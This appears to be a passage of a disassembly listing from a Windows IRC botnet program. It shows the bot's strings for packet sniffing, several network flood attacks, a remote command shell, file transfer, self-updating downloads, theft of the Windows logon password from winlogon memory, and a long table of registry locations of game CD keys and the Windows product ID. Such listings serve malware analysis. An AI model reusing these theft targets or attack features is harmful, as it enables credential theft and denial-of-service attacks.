unk_435A94	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AF8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B4C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D74	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436164	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436178	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_4361B0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_4361C4	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361D8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361F4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_436224	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436230	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 4373B4h, 4373A8h,	437398h, 2 dup(0)
		dd 80000001h, 437378h, 437374h,	437360h, 2 dup(0)
		dd 80000001h, 43733Ch, 437374h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437304h,	4372F0h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372CCh,	4372B0h, 2 dup(0)
		dd 80000001h, 43726Ch, 4373F4h,	437258h, 2 dup(0)
		dd 80000002h, 43722Ch, 437220h,	437200h, 2 dup(0)
		dd 80000002h, 4371CCh, 4373F4h,	4371B4h, 2 dup(0)
		dd 80000002h, 437180h, 4373F4h,	437168h, 2 dup(0)
		dd 80000002h, 437150h, 4373F4h,	437138h, 2 dup(0)
		dd 80000002h, 4370FCh, 43D158h,	4370ECh, 2 dup(0)
		dd 80000002h, 4370B4h, 43D158h,	4370A0h, 2 dup(0)
		dd 80000002h, 437054h, 43D158h,	437034h, 2 dup(0)
		dd 80000002h, 436FE4h, 43D158h,	436FB8h, 2 dup(0)
		dd 80000002h, 436F7Ch, 43D158h,	436F68h, 2 dup(0)
		dd 80000002h, 436F30h, 43D158h,	436F20h, 2 dup(0)
		dd 80000002h, 436ED0h, 43D158h,	436EA4h, 2 dup(0)
		dd 80000002h, 436E64h, 43D158h,	436E48h, 2 dup(0)
		dd 80000002h, 436E18h, 43D158h,	436DF8h, 2 dup(0)
		dd 80000002h, 436DBCh, 43D158h,	436DA8h, 2 dup(0)
		dd 80000002h, 436D60h, 43D158h,	436D40h, 2 dup(0)
		dd 80000002h, 436CECh, 43D158h,	436CBCh, 2 dup(0)
		dd 80000002h, 436C6Ch, 43D158h,	436C40h, 2 dup(0)
		dd 80000002h, 436C00h, 436BF8h,	436BD8h, 2 dup(0)
		dd 80000002h, 436B94h, 43D158h,	436B78h, 2 dup(0)
		dd 80000002h, 436B2Ch, 43D158h,	436B08h, 2 dup(0)
		dd 80000002h, 436AD4h, 43D158h,	436AC8h, 2 dup(0)
		dd 80000002h, 436A94h, 43D158h,	436A88h, 2 dup(0)
		dd 80000002h, 436A54h, 43D158h,	436A48h, 2 dup(0)
		dd 80000002h, 436A14h, 43D158h,	436A08h, 2 dup(0)
		dd 80000002h, 4369CCh, 43D158h,	4369B8h, 2 dup(0)
		dd 80000002h, 43697Ch, 43D158h,	436968h, 2 dup(0)
		dd 80000002h, 436938h, 4373F4h,	43691Ch, 2 dup(0)
		dd 80000002h, 4368FCh, 4368F4h,	4368D0h, 2 dup(0)
		dd 80000002h, 4368B4h, 4368F4h,	436894h, 2 dup(0)
		dd 80000002h, 436874h, 4368F4h,	436850h, 2 dup(0)
		dd 80000002h, 436838h, 4368F4h,	436834h, 2 dup(0)
		dd 80000002h, 436818h, 436808h,	436800h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_4367CC[eax], al
		dec	esp
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		align 10h
		dd 80000002h, 436778h, 43676Ch,	436744h, 436734h, 436720h
		dd 80000002h, 4366FCh, 4366F0h,	4366DCh, 4366CCh, 4366C4h
		dd 80000002h, 4366FCh, 4366F0h,	436698h, 4366CCh, 436690h
		dd 80000002h, 4366FCh, 4366F0h,	436660h, 4366CCh, 436658h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365D4o
		align 4
byte_4367CC	db 53h			; DATA XREF: ___:004365CAw
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043622Co
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436228o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_436224o
		align 4
asc_437424:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437428	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_4374A4	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_4374C8	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374E0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43750C	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437530	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437548	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437560	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437580	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4375A4	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_4375C8	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375F4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437614	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437674	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4376A0	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376D4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437718	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437734	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437794	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_4377C0	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377E8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437810	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437860	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437864	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437878	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4378B4	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437960	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437994	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4379C0	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379F8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
